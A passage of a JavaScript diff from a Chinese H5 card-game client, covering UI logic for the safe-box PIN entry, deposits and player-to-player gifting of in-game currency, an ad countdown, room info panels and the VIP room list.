bTemp) { + var bTemp = C_Player.bankpwd; + GameData.wareHouse.page = page; + switch (page) { + case 1: + //保险箱 + //set_self(3059,18,ConstVal.wareHouse.tableBgX[1],0,0); + //set_self(3060,18,ConstVal.wareHouse.tableBgX[0],0,0); + //set_self(3061,18,ConstVal.wareHouse.tableTextX[1],0,0); + //set_self(3062,18,ConstVal.wareHouse.tableTextX[0],0,0); + + set_self(3059, 43, 1, 0, 0); + set_self(3060, 43, 2, 0, 0); + set_self(3061, 43, 1, 0, 0); + set_self(3062, 43, 4, 0, 0); + if (bTemp) { + GameData.wareHouse.selectType = 3; + //GameUI.updateWareHouseInput(); + } else { + GameData.wareHouse.selectType = 1; + GameUI.showInitPassWord(); + } + GameUI.updateWareHouseInput(bTemp); + GameUI.selectWareHouseInputType(GameData.wareHouse.selectType); + break; + case 2: + //仓库 + //set_self(3059,18,ConstVal.wareHouse.tableBgX[0],0,0); + //set_self(3060,18,ConstVal.wareHouse.tableBgX[1],0,0); + //set_self(3061,18,ConstVal.wareHouse.tableTextX[0],0,0); + //set_self(3062,18,ConstVal.wareHouse.tableTextX[1],0,0); + GameUI.updateWareHousePlayerInfo(); + set_self(3059, 43, 2, 0, 0); + set_self(3060, 43, 1, 0, 0); + set_self(3061, 43, 2, 0, 0); + set_self(3062, 43, 3, 0, 0); + if (bTemp) { + GameData.wareHouse.selectType = 5; + //GameUI.updateWareHouseInput(); + } else { + GameUI.showInitPassWord(); + + } + GameUI.updateWareHouseInput(bTemp); + GameUI.selectWareHouseInputType(GameData.wareHouse.selectType); + break; + } + GameUI.updateWareHouseCheckBox(); +} +//初始化赠送数据 +GameUI.initGiveData = function(){ + GameData.wareHouse.pNickName = ''; + GameData.wareHouse.pId=''; + GameData.wareHouse.pImg=''; + GameData.wareHouse.pInputPassWord=''; + GameData.wareHouse.pInputCount = -1; + GameData.wareHouse.pInputId = -1; +} +//更新输入框内容 +GameUI.updateWareHouseInput = function() { + //var bTemp = C_Player.bankpwd; + GameUI.updateCount(); + switch (GameData.wareHouse.selectType) { + case 1: + //初始化密码 + case 2: + set_group(93, 37, 1, 0, 0); + set_group(94, 37, 0, 0, 0); + set_group(92, 37, 0, 0, 0); + if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { + if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { + set_self(3073, 7, "输入符合规则!"); + } else { + set_self(3073, 7, "密码不能为空!"); + set_self(3069, 37, 1, 0, 0); + } + } else { + if (GameData.wareHouse.selectType == 1) { + set_self(3073, 7, "输入密码....."); + } else { + if (GameData.wareHouse.initPassWord2 != -1 || String(GameData.wareHouse.initPassWord2).length == 0) { + set_self(3073, 7, "两次输入不一致!"); + } else { + set_self(3073, 7, "请再次输入密码....."); + } + + } + + + } + if (GameData.wareHouse.initPassWord2 == -1 || String(GameData.wareHouse.initPassWord2).length == 0) { + set_self(3072, 37, 0, 0, 0); + set_self(3070, 37, 1, 0, 0); + } else { + set_self(3072, 37, 1, 0, 0); + set_self(3070, 37, 0, 0, 0); + GameUI.setNumberImage(3072, GameData.wareHouse.initPassWord2, 27); + } + if (GameData.wareHouse.initPassWord1 == -1 || String(GameData.wareHouse.initPassWord1).length == 0) { + set_self(3071, 37, 0, 0, 0); + set_self(3069, 37, 1, 0, 0); + } else { + set_self(3071, 37, 1, 0, 0); + set_self(3069, 37, 0, 0, 0); + GameUI.setNumberImage(3071, GameData.wareHouse.initPassWord1, 27); + } + break; + //case 2://初始化密码二次输入 + + //break; + case 3: + //保险箱数量 + //set_group(93,37,0,0,0); + //break; + case 4: + //保险箱密码 + set_group(94, 37, 0, 0, 0); + set_group(93, 37, 0, 0, 0); + set_group(92, 37, 1, 0, 0); + if (GameData.wareHouse.safeInputCount == -1 || String(GameData.wareHouse.safeInputCount).length == 0) { + set_self(3056, 37, 0, 0, 0); + set_self(3040, 37, 1, 0, 0); + + } else { + set_self(3056, 37, 1, 0, 0); + set_self(3040, 37, 0, 0, 0); + GameUI.setNumberImage(3056, GameData.wareHouse.safeInputCount, 27); + } + if (GameData.wareHouse.safePassWord == -1 || String(GameData.wareHouse.safePassWord).length == 0) { + set_self(3058, 37, 0, 0, 0); + set_self(3041, 37, 1, 0, 0); + } else { + set_self(3058, 37, 1, 0, 0); + set_self(3041, 37, 0, 0, 0); + GameUI.setNumberImage(3058, GameData.wareHouse.safePassWord, 27); + } + break; + case 5: + //玩家id + case 6: + //赠送数量 + case 7: + //密码 + set_group(93, 37, 0, 0, 0); + set_group(92, 37, 0, 0, 0); + set_group(94, 37, 1, 0, 0); + if (GameData.hallConfig.wareHouse == 3) { + set_self(3076, 37, 0, 0, 0); + set_self(3078, 37, 0, 0, 0); + set_self(3080, 37, 0, 0, 0); + } else if (GameData.hallConfig.wareHouse == 4) { + set_self(3075, 37, 0, 0, 0); + set_self(3077, 37, 0, 0, 0); + set_self(3079, 37, 0, 0, 0); + } + if (GameData.wareHouse.pInputId == -1 || String(GameData.wareHouse.pInputId).length == 0) { + set_self(3093, 37, 0, 0, 0); + set_self(3090, 37, 1, 0, 0); + //GameUI.setNumberImage(3079,0,27); + } else { + set_self(3093, 37, 1, 0, 0); + set_self(3090, 37, 0, 0, 0); + GameUI.setNumberImage(3093, GameData.wareHouse.pInputId, 27); + //GameUI.setNumberImage(3079,GameData.wareHouse.pInputId,27); + } + if (GameData.wareHouse.pInputCount == -1 || String(GameData.wareHouse.pInputCount).length == 0) { + set_self(3094, 37, 0, 0, 0); + set_self(3091, 37, 1, 0, 0); + } else { + set_self(3094, 37, 1, 0, 0); + set_self(3091, 37, 0, 0, 0); + GameUI.setNumberImage(3094, GameData.wareHouse.pInputCount, 27); + } + if (GameData.wareHouse.pInputPassWord == -1 || String(GameData.wareHouse.pInputPassWord).length == 0) { + set_self(3095, 37, 0, 0, 0); + set_self(3092, 37, 1, 0, 0); + } else { + set_self(3095, 37, 1, 0, 0); + set_self(3092, 37, 0, 0, 0); + GameUI.setNumberImage(3095, GameData.wareHouse.pInputPassWord, 27); + } + break; + } +} +//更新输入框内容 +GameUI.wareHouseInputNumber = function(type, _input) { + switch (GameData.wareHouse.selectType) { + case 1: + // + switch (type) { + case 1: + if (GameData.wareHouse.initPassWord1 == -1) { + GameData.wareHouse.initPassWord1 = _input; + } else if (String(GameData.wareHouse.initPassWord1).length >= ConstVal.wareHouse.passWordLength) { + GameUI.OpenTips("密码长度为" + ConstVal.wareHouse.passWordLength + "位!", ConstVal.Tips.time); + } else { + GameData.wareHouse.initPassWord1 = String(GameData.wareHouse.initPassWord1) + _input; + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.initPassWord1 == -1 || String(GameData.wareHouse.initPassWord1).length == 0) { + GameData.wareHouse.initPassWord1 = -1; + } else { + GameData.wareHouse.initPassWord1 = String(GameData.wareHouse.initPassWord1).substring(0, String(GameData.wareHouse.initPassWord1).length - 1); + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.initPassWord1 = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + case 2: + // + switch (type) { + case 1: + if (GameData.wareHouse.initPassWord2 == -1) { + GameData.wareHouse.initPassWord2 = _input; + } else if (String(GameData.wareHouse.initPassWord2).length >= ConstVal.wareHouse.passWordLength) { + GameUI.OpenTips("密码长度为" + ConstVal.wareHouse.passWordLength + "位!", ConstVal.Tips.time); + } else { + GameData.wareHouse.initPassWord2 = String(GameData.wareHouse.initPassWord2) + _input; + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.initPassWord2 == -1 || String(GameData.wareHouse.initPassWord2).length == 0) { + GameData.wareHouse.initPassWord2 = -1; + } else { + GameData.wareHouse.initPassWord2 = String(GameData.wareHouse.initPassWord2).substring(0, String(GameData.wareHouse.initPassWord2).length - 1); + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.initPassWord2 = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + + case 3: + //取出存入数量 + switch (type) { + case 1: + if (GameData.wareHouse.safeInputCount == -1) { + if (_input != 0) { + //if(GameUI.checkWareHouseInput(_input,GameData.wareHouse.pInputType,GameData.wareHouse.safeInputType)[0]){ + // GameData.wareHouse.safeInputCount = _input; + //} + var result = GameUI.checkWareHouseInput(_input, 2, GameData.wareHouse.safeInputType); + if (result[0]) { + GameData.wareHouse.safeInputCount = _input; + } else { + GameData.wareHouse.safeInputCount = result[1]; + GameUI.OpenTips("输入超出范围!已调整为最大值", ConstVal.Tips.time); + } + //GameData.wareHouse.safeInputCount = _input; + } + } else { + var cTemp = Number(String(GameData.wareHouse.safeInputCount) + _input); + //if(GameUI.checkWareHouseInput(cTemp,GameData.wareHouse.pInputType,GameData.wareHouse.safeInputType)[0]){ + // GameData.wareHouse.safeInputCount = cTemp; + // } + var result = GameUI.checkWareHouseInput(cTemp, 2, GameData.wareHouse.safeInputType); + if (result[0]) { + GameData.wareHouse.safeInputCount = cTemp; + + + } else { + GameData.wareHouse.safeInputCount = result[1]; + GameUI.OpenTips("输入超出范围!已调整为最大值", ConstVal.Tips.time); + } + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.safeInputCount == -1 || String(GameData.wareHouse.safeInputCount).length == 1) { + GameData.wareHouse.safeInputCount = -1; + } else { + //if(String(GameData.wareHouse.safeInputCount).length == 1){ + //GameData.wareHouse.safeInputCount = -1; + //}else{ + GameData.wareHouse.safeInputCount = Number(String(GameData.wareHouse.safeInputCount).substring(0, String(GameData.wareHouse.safeInputCount).length - 1)); + //} + + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.safeInputCount = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + case 4: + // + switch (type) { + case 1: + if (GameData.wareHouse.safePassWord == -1) { + GameData.wareHouse.safePassWord = _input; + } else if (String(GameData.wareHouse.safePassWord).length >= ConstVal.wareHouse.passWordLength) { + GameUI.OpenTips("密码长度为" + ConstVal.wareHouse.passWordLength + "位!", ConstVal.Tips.time); + } else { + GameData.wareHouse.safePassWord = String(GameData.wareHouse.safePassWord) + _input; + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.safePassWord == -1 || String(GameData.wareHouse.safePassWord).length == 0) { + GameData.wareHouse.safePassWord = -1; + } else { + GameData.wareHouse.safePassWord = String(GameData.wareHouse.safePassWord).substring(0, String(GameData.wareHouse.safePassWord).length - 1); + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.safePassWord = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + case 5: + //id + switch (type) { + case 1: + + if (GameData.wareHouse.pInputId == -1) { + GameData.wareHouse.pInputId = _input; + } else if (String(GameData.wareHouse.pInputId).length >= 6) { + GameUI.OpenTips("玩家id长度为6位!", ConstVal.Tips.time); + } else { + GameData.wareHouse.pInputId = String(GameData.wareHouse.pInputId) + _input; + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.pInputId == -1 || String(GameData.wareHouse.pInputId).length == 0) { + GameData.wareHouse.pInputId = -1; + } else { + GameData.wareHouse.pInputId = String(GameData.wareHouse.pInputId).substring(0, String(GameData.wareHouse.pInputId).length - 1); + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.pInputId = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + case 6: + switch (type) { + case 1: + if (GameData.wareHouse.pInputCount == -1) { + if (_input != 0) { + //GameData.wareHouse.pInputCount = _input; + if (GameUI.checkWareHouseInput(_input, GameData.wareHouse.pInputType, 1)[0]) { + GameData.wareHouse.pInputCount = _input; + } + } + + } else { + var cTemp = Number(String(GameData.wareHouse.pInputCount) + _input); + //验证输入星星合法性 + if(String(cTemp).length> 10){ + GameUI.OpenTips("输入超出限制!",ConstVal.Tips.time); + }else{ + GameData.wareHouse.pInputCount = cTemp; + } + //if (GameUI.checkWareHouseInput(cTemp, GameData.wareHouse.pInputType, 1)[0]) { + // GameData.wareHouse.pInputCount = cTemp; + //} + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.pInputCount == -1 || String(GameData.wareHouse.pInputCount).length == 1) { + GameData.wareHouse.pInputCount = -1; + } else { + if(String(GameData.wareHouse.pInputCount).length > 10){ + GameUI.OpenTips("输入超出限制!",ConstVal.Tips.time); + }else{ + GameData.wareHouse.pInputCount = Number(String(GameData.wareHouse.pInputCount).substring(0, String(GameData.wareHouse.pInputCount).length - 1)); + } + + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.pInputCount = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + case 7: + // + switch (type) { + case 1: + if (GameData.wareHouse.pInputPassWord == -1) { + GameData.wareHouse.pInputPassWord = _input; + } else if (String(GameData.wareHouse.pInputPassWord).length >= ConstVal.wareHouse.passWordLength) { + GameUI.OpenTips("密码长度为" + ConstVal.wareHouse.passWordLength + "位!", ConstVal.Tips.time); + } else { + GameData.wareHouse.pInputPassWord = String(GameData.wareHouse.pInputPassWord) + _input; + } + GameUI.updateWareHouseInput(); + break; + case 2: + if (GameData.wareHouse.pInputPassWord == -1 || String(GameData.wareHouse.pInputPassWord).length == 0) { + GameData.wareHouse.pInputPassWord = -1; + } else { + GameData.wareHouse.pInputPassWord = String(GameData.wareHouse.pInputPassWord).substring(0, String(GameData.wareHouse.pInputPassWord).length - 1); + } + GameUI.updateWareHouseInput(); + break; + case 3: + GameData.wareHouse.pInputPassWord = -1; + GameUI.updateWareHouseInput(); + break; + } + break; + } +} +//点击保险箱存入取出 +GameUI.updateWareHouseCheckBox = function() { + switch (GameData.wareHouse.page) { + case 1: + //第一页 + switch (GameData.wareHouse.safeInputType) { + case 1: + set_self(3034, 43, 2, 0, 0); + set_self(3035, 43, 1, 0, 0); + var r = GameUI.checkWareHouseInput(GameData.wareHouse.safeInputCount, 1, GameData.wareHouse.safeInputType); + if (!r[0]) { + GameData.wareHouse.safeInputCount = r[1]; + GameUI.OpenTips("输入超出,已调整为最大!", ConstVal.Tips.time); + GameUI.updateWareHouseInput(); + } + break; + case 2: + set_self(3035, 43, 2, 0, 0); + set_self(3034, 43, 1, 0, 0); + var r = GameUI.checkWareHouseInput(GameData.wareHouse.safeInputCount, 2, GameData.wareHouse.safeInputType); + if (!r[0]) { + GameData.wareHouse.safeInputCount = r[1]; + GameUI.OpenTips("输入超出,已调整为最大!", ConstVal.Tips.time); + GameUI.updateWareHouseInput(); + } + break; + } + break; + case 2: + //第二页 + switch (GameData.wareHouse.pInputType) { + case 1: + set_self(3075, 43, 2, 0, 0); + set_self(3076, 43, 1, 0, 0); + var r = GameUI.checkWareHouseInput(GameData.wareHouse.pInputCount, 1, 1); + if (!r[0]) { + GameData.wareHouse.pInputCount = r[1]; + GameUI.OpenTips("输入超出,已调整为最大!", ConstVal.Tips.time); + GameUI.updateWareHouseInput(); + } + break; + case 2: + set_self(3075, 43, 1, 0, 0); + set_self(3076, 43, 2, 0, 0); + var r = GameUI.checkWareHouseInput(GameData.wareHouse.pInputCount, 2, 1); + if (!r[0]) { + GameData.wareHouse.pInputCount = r[1]; + GameUI.OpenTips("输入超出,已调整为最大!", ConstVal.Tips.time); + GameUI.updateWareHouseInput(); + } + break; + } + break; + } +} +//选择输入类型 +GameUI.selectWareHouseInputType = function(type) { + GameData.wareHouse.selectType = type; + switch (type) { + case 1: + // + set_self(3067, 43, 2, 0, 0); + set_self(3068, 43, 1, 0, 0); + break; + case 2: + // + set_self(3067, 43, 1, 0, 0); + set_self(3068, 43, 2, 0, 0); + break; + case 3: + // + set_self(3039, 43, 1, 0, 0); + set_self(3038, 43, 2, 0, 0); + break; + case 4: + // + set_self(3039, 43, 2, 0, 0); + set_self(3038, 43, 1, 0, 0); + break; + case 5: + // + set_self(3087, 43, 2, 0, 0); + set_self(3088, 43, 1, 0, 0); + set_self(3089, 43, 1, 0, 0); + break; + case 6: + // + set_self(3087, 43, 1, 0, 0); + set_self(3088, 43, 2, 0, 0); + set_self(3089, 43, 1, 0, 0); + break; + case 7: + // + set_self(3087, 43, 1, 0, 0); + set_self(3088, 43, 1, 0, 0); + set_self(3089, 43, 2, 0, 0); + break; + } + GameUI.updateWareHouseInput(); +} + +//保险箱输入 +GameUI.wareHouseInput = function(spid) { + if (spid >= 3044 && spid <= 3053) { //数字输入 + GameUI.wareHouseInputNumber(1, spid - 3044); + } else if (spid == 3055) { //删除 + GameUI.wareHouseInputNumber(2); + } else if (spid == 3054) { //重输 + GameUI.wareHouseInputNumber(3); + } +} +//检测星星房卡数量合法性 +GameUI.checkWareHouseInput = function(input, type, mode) { //input输入数量 type1房卡2星星,mode与1携带的比较还是仓库2里的比较 + input = Number(input); + //console.log("input:"+input+"type:"+type+"mode:"+mode); + //if(input < 1000){ + //return [true,1000]; + //}else{ + //return [false,1000]; + //} + //if(type == 1){ + //return [true,1000]; + //}else{ + //return [false,1000]; + //} + if (type == 2) { + switch (mode) { + case 2: + if (input > C_Player.wareHouseStarCount) { + return [false, C_Player.wareHouseStarCount]; + } + break; + case 1: + if (input > C_Player.bean) { + if (C_Player.bean < 0) { + return [false, 0]; + } + if (C_Player.bean - GameData.initBean < 0) { + return [false, 0]; + } + return [false, C_Player.bean - GameData.initBean]; + } + break; + } + } + return [true, 1000]; + +} +//更新仓库赠送玩家信息 +GameUI.updateWareHousePlayerInfo = function() { + if (GameData.wareHouse.pNickName) { + set_self(3082, 7, "昵称:" + GameData.wareHouse.pNickName, 0, 0); + } else { + set_self(3082, 7, "", 0, 0); + } + if (GameData.wareHouse.pId) { + set_self(3083, 7, "ID: " + GameData.wareHouse.pId, 0, 0); + } else { + set_self(3083, 7, "", 0, 0); + } + + if(GameData.wareHouse.pImg){ + Func.up_imgurl(336, GameData.wareHouse.pImg); + set_self(3081,1,336,0,0); + }else{ + set_self(3081,1,170,0,0); + } + +} +GameUI.updateCount = function() { + if(GameData.wareHouse.page == 1){ + GameUI.setNumberImage(3033, C_Player.wareHouseStarCount, 27); //仓库库存数量 + GameUI.setNumberImage(3079, C_Player.bean, 27); //携带的星星数量 + GameUI.setNumberImage(3080, C_Player.roomcard, 27); //房卡数量 + }else{ + GameUI.setNumberImage(3033, C_Player.wareHouseStarCount, 27); //仓库库存数量 + GameUI.setNumberImage(3079, C_Player.wareHouseStarCount, 27); //携带的星星数量 + GameUI.setNumberImage(3080, C_Player.roomcard, 27); //房卡数量 + } +} +//开启广告倒计时 +GameUI.startAdCountDown = function() { + set_self(3103, 37, 1, 0, 0); + set_self(3104, 37, 1, 0, 0); + var tt = Math.ceil(GameData.launchWaitTime / 1000); + var ttext = "倒计时" + tt + "s"; + if (GameData.LoadCount == 100) { + ttext += " 跳过"; + } + set_self(3104, 7, ttext, 0, 0); + set_self(3104, 20, ttext.gblen() * 12, 0, 0); + GameUI.adaptPositionSpid(3104, 3103); + GameData.adTimer = setInterval(function() { + GameData.launchWaitTime -= 1000; + if (GameData.launchWaitTime > 0) { + var tt = Math.ceil(GameData.launchWaitTime / 1000); + var ttext = "倒计时" + tt + "s"; + if (GameData.LoadCount == 100) { + ttext += " 跳过"; + } + set_self(3104, 7, ttext, 0, 0); + set_self(3104, 20, ttext.gblen() * 12, 0, 0); + GameUI.adaptPositionSpid(3104, 3103); + GameUI.adaptPositionSpid(3104, 3103); + } else { + set_self(3103, 37, 0, 0, 0); + set_self(3104, 37, 0, 0, 0); + //console.log("倒计时结束"); + if (GameData.adTimer) { + window.clearInterval(GameData.adTimer); + GameData.adTimer = null; + } + } + + }, 1000); +} +GameUI.openMainSceneBtnPanel = function() { + GameUI.closeRoomInfo(); + set_group(99, 37, 1, 0, 0); + //app下载 + if (GameData.h5Version == 1 && Game_Config.Share.appdownload) { + set_self(656, 37, 1, 0, 0); + } else { + set_self(656, 37, 0, 0, 0); + } + //逃跑 + if (C_Player.status == 1 && Desk.playercnt == 2 && Desk.roomMode == 1 && Desk.infinite == 0 && Desk.stage == 0) { + GameUI.showEscape(); + } else { + GameUI.hideEscape(); + } + //换房 + GameUI.showChangeRoom(); + + + + if (GameData.matchId || Desk.infinite) { //解散按钮 + set_self(185, 37, 0, 0, 0); + + } + if (Desk.stage == 1) { + //GameUI.hideExitBtn(); + switch (C_Player.canexit) { + case 1: + //if (C_Player.status == 1) { + //set_self(185, 37, 1, 0, 0); + //} else { + set_self(185, 37, 0, 0, 0); + //} + //if (Desk.infinite == 1 && !Game_Config.sysConfig.vipInfinite) { + //set_self(181, 43, 3, 0, 0); + //set_self(182, 37, 0, 0, 0); + //set_self(181, 18, 520, 0, 0); + //} + //if (GameData.matchId) { //比赛房间 + //set_self(181, 43, 3, 0, 0); + //GameUI.adaptPositionSpid(181, 41); + //set_self(182, 37, 0, 0, 0); + //} + break; + case 0: + GameUI.hideExitBtn(); + //if (C_Player.status == 1) { + set_self(185, 37, 1, 0, 0); + //} else { + //set_self(185, 37, 0, 0, 0); + //} + break; + } + } else { + GameUI.showExitBtn(); + //解散 + if (C_Player.status == 1) { + set_self(185, 37, 1, 0, 0); + } else { + set_self(185, 37, 0, 0, 0); + } + } + if (Desk.infinite == 1) { + GameUI.showExitBtn(); + set_self(185, 37, 0, 0, 0); + } + GameUI.adaptPannelBtn(); + +} +GameUI.adaptPannelBtn = function() { + var spList = [151, 150, 185, 233, 3014, 513, 656]; + var posList = [75, 168, 261, 354, 447, 540, 633]; + //var spList = [235,13,604,3017,483,3018,3057]; + //var posList = [[395,198],[395,325],[395,452],[526,198],[526,325],[526,452],[657,198]]; + var posIndex = 0; + for (var i = 0; i < spList.length; i++) { + if (get_self(spList[i], 37, 0, 0, 0) == 1) { + set_self(spList[i], 18, 0, 0, 0); + set_self(spList[i], 19, posList[posIndex], 0, 0); + posIndex++; + } + } +} +GameUI.playPanelAnimation = function(spidList, posList) { + +} +GameUI.stopPanelAnimation = function(spidList, posList) { + +} +GameUI.closeMainSceneBtnPanel = function() { + set_group(99, 37, 0, 0, 0); +} +GameUI.updateMainSceneBtnPanel = function() { + if (get_self(151, 37, 0, 0, 0)) { //当前开启状态 + GameUI.openMainSceneBtnPanel(); + GameUI.closeMainSceneBtnPanel(); + } +} +GameUI.openRoomInfo = function() { + //- + //Desk.infinite = 1; + //GameData.matchInfo = 111; + //var obj = ifast_getobj(111); + //obj.uidata.LineSpace= 1; + if (get_self(149, 37, 0, 0, 0) == 0) { + set_group(100, 37, 0, 0, 0); + return; + } + GameUI.closeMainSceneBtnPanel(); + set_group(100, 37, 1, 0, 0); + if (GameData.matchInfo) { + set_self(512, 37, 0, 0, 0); + } + //var spaceX1 = 20; + var spaceX2 = 30; + var h1 = 60; + var h2 = 25; + var btspace = 20; + var maxLen = 0; + var desc = Game_Modify.getRoomTopDescAry(Desk.roomtype); + if (!desc) { + desc = []; + } + //if(Desk.shortcode && Game_Config.sysConfig.vipInfinite){ + var rTxt = "房间费"; //GameData.starName; + if (Desk.rebateMode) { + if (!Desk.roomMode && Desk.rebateType) { + rTxt += "(" + GameData.sysConfig.charmName + ")"; + } else { + rTxt += "(" + GameData.starName + ")"; + } + switch (Desk.rebateMode) { + case 1: + rTxt += "大赢家:"; + break; + case 2: + rTxt += "赢家:"; + break; + case 3: + rTxt += "所有人:"; + break; + } + + } + if (Desk.rebateNumber) { + //var mult = Game_Modify.getMult(Desk.roomtype,0); + //var txt = Logic.getRebateDes(mult); + desc.push(rTxt + Desk.rebateNumber); + } + + var text = ""; + for (var i = 0; i < desc.length; i++) { + if (String(desc[i]).gblen() > maxLen) { + maxLen = String(desc[i]).gblen(); + } + text += "● " + desc[i] + "\n"; + } + maxLen += 2; + var rmText = "房号:" + Desk.roomcode; + if (Desk.infinite == 1) { + rmText = "系统房"; + set_self(512, 37, 0, 0, 0); + } + if (Desk.shortcode && Game_Config.sysConfig.vipInfinite) { + rmText = "房号:" + Desk.roomcode; + } + if (GameData.matchInfo) { + rmText = "比赛房"; + set_self(512, 37, 0, 0, 0); + } + set_self(110, 7, rmText, 0, 0); + set_self(110, 20, get_self(110, 7, 0, 0, 0).gblen() * 11.5, 0, 0); + + set_self(111, 7, text, 0, 0); + set_self(111, 20, maxLen * 11.5, 0, 0); + //set_self(111,18,get_self(512,18,0,0,0)+spaceX2,0,0); + var bgW = get_self(111, 20, 0, 0) + 2 * spaceX2; + var bkW = 280; + set_self(109, 20, bkW, 0, 0); + if (bgW > bkW) { + set_self(109, 20, bgW, 0, 0); + } + var bgH = h1 + h2 * desc.length + //if(get_self(512,37,0,0,0)){ + //bgH+=get_self(512,21,0,0,0)+2*btspace; + //}else{ + bgH += 2 * btspace; + //} + + set_self(109, 21, bgH, 0, 0); + //set_self(512,19,get_self(109,19,0,0,0)+get_self(109,21,0,0,0) -get_self(512,21,0,0,0)-btspace,0,0); + //设置对齐 + + if (!get_self(512, 37, 0, 0, 0) || Desk.infinite == 1 || GameData.matchInfo) { + GameUI.adaptPositionSpid(110, 109); + + } else { + set_self(110, 18, get_self(109, 18, 0, 0, 0) + spaceX2); + } + //GameUI.adaptPositionSpid(111,109); + //GameUI.adaptPositionSpid(512,109); + set_self(111, 18, get_self(109, 18, 0, 0, 0) + spaceX2); + +} +GameUI.closeRoomInfo = function() { + set_group(100, 37, 0, 0, 0); +} +GameUI.playTopInfoAnimation = function() { + var time = 5000; + if (Desk.infinite == 1) { + return; + } + if (GameData.matchInfo) { + return; + } + //return; + if (GameData.topInfoTimer) { + window.clearInterval(GameData.topInfoTimer); + } + GameData.topInfoTimer = setInterval(function() { + if (get_self(149, 37, 0, 0, 0)) { + if (get_self(155, 37)) { //当前显示时钟 + set_self(154, 37, 0, 0, 0); + set_self(155, 37, 0, 0, 0); + set_self(156, 37, 0, 0, 0); + set_self(336, 37, 0, 0, 0); + set_self(337, 37, 0, 0, 0); + set_self(338, 37, 0, 0, 0); + + set_self(3141, 37, 1, 0, 0); + set_self(3142, 37, 1, 0, 0); + } else { + set_self(154, 37, 1, 0, 0); + set_self(155, 37, 1, 0, 0); + set_self(156, 37, 1, 0, 0); + set_self(336, 37, 1, 0, 0); + set_self(337, 37, 1, 0, 0); + set_self(338, 37, 1, 0, 0); + + set_self(3141, 37, 0, 0, 0); + set_self(3142, 37, 0, 0, 0); + + } + } else { + GameUI.stopTopInfoAnimation(); + } + }, time); +} +GameUI.stopTopInfoAnimation = function(bTemp) { + if (GameData.topInfoTimer) { + window.clearInterval(GameData.topInfoTimer); + } + if (bTemp) { + set_self(154, 37, 0, 0, 0); + set_self(155, 37, 0, 0, 0); + set_self(156, 37, 0, 0, 0); + set_self(336, 37, 0, 0, 0); + set_self(337, 37, 0, 0, 0); + set_self(338, 37, 0, 0, 0); + + set_self(3141, 37, 0, 0, 0); + set_self(3142, 37, 0, 0, 0); + } +} +GameUI.startRecord = function() { + try { + startRecordAac(); + } catch (e) { + + } + + set_group(101, 37, 1, 0, 0); + set_self(3128, 43, 1, 0, 0); + play_ani(1, 3128, 43, 1, 6, 0, 900, 0, 0, 0, 0, 0, 0, 0); +} +GameUI.stopRecord = function() { + try { + stopRecord(); + } catch (e) { + + } + play_ani(0, 3128, 43, 1, 6, 0, 900, 0, 0, 0, 0, 0, 0, 0); + set_group(101, 37, 0, 0, 0); + set_self(3128, 43, 1, 0, 0); + +} +GameUI.openTextInput = function(msg, callback, len) { + if (!len) { + len = 150; + } + GameData.textCallback = callback; + set_group(102, 37, 1, 0, 0); + setTimeout(function() { + try { + var obj = gameabc_face.getdiv("div3154"); + obj.click(); + obj.focus(); + obj.select(); + obj = null; + } catch (e) { + + } + }, 400); + //var obj = gameabc_face.getdiv("div3154"); + //obj.click(); + //obj.focus(); + //obj=null; + //var obj = gameabc_face.getdiv("div3154"); + //obj.style.autofocus = "autofocus"; + Func.setTextArea(3154, true, len); + if (msg) { + set_self(3154, 7, msg, 0, 0); + } else { + set_self(3154, 7, "", 0, 0); + } + set_self(3160, 7, "限制" + len + "字以内"); +} +GameUI.closeTextInput = function() { + var obj = gameabc_face.getdiv("div3154"); + obj.blur(); + obj = null; + set_group(102, 37, 0, 0, 0); +} +//打开vip房间列表 +GameUI.openVipRoomList = function(bTemp) { + set_self(234, 37, 0, 0, 0); + GameData.vipRoomJump = true; + if (!GameData.vipRoomTimer1) { + GameData.vipRoomTimer1 = true; + set_self(4, 57, GameData.sysConfig.vipFlushTime, 0, 0); + } + set_group(103, 37, 1, 0, 0); + var allCharm = Utl.ReadData(Utl.Config.vipCharm); + if(allCharm){ + allCharm = Number(allCharm); + }else{ + allCharm=0; + } + if (C_Player.advanced) { + set_self(3171, 37, 0, 0, 0); + set_self(3170, 37, 0, 0, 0); + //set_self(3197,7,"",0,0); + GameData.allCharm = allCharm; + GameUI.setNumberImage(3197,allCharm,23); + GameUI.adaptPositionSpid(3197,3196); + set_self(3198, 7, "(黑名单内玩家临时禁入房间,请尽快到后台处理好友关系)"); + if (!GameData.sysConfig.managerUrl) { + set_self(3235, 37, 0, 0, 0); + } + } else { + set_self(3183, 37, 0, 0, 0); + set_self(3184, 37, 0, 0, 0); + set_self(3171, 7, GameData.sysConfig.vipWx, 0, 0); + set_self(3194,37,0,0,0); + set_self(3195,37,0,0,0); + set_self(3196,37,0,0,0); + set_self(3197,37,0,0,0); + set_self(3198,37,0,0,0); + set_self(3214,37,0,0,0); + set_self(3215,37,0,0,0); + set_self(3235, 37, 0, 0, 0); + } + if (bTemp) { + GameData.vipRoomPage = 0; + set_self(ConstVal.vipRoomList1.f_spid, 19, ConstVal.vipRoomList1.clip_y, 0, 0); + //set_self(ConstVal.vipRoomList2.f_spid,19,ConstVal.vipRoomList2.clip_y,0,0); + } + GameUI.updateVipRoomList(); + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId + 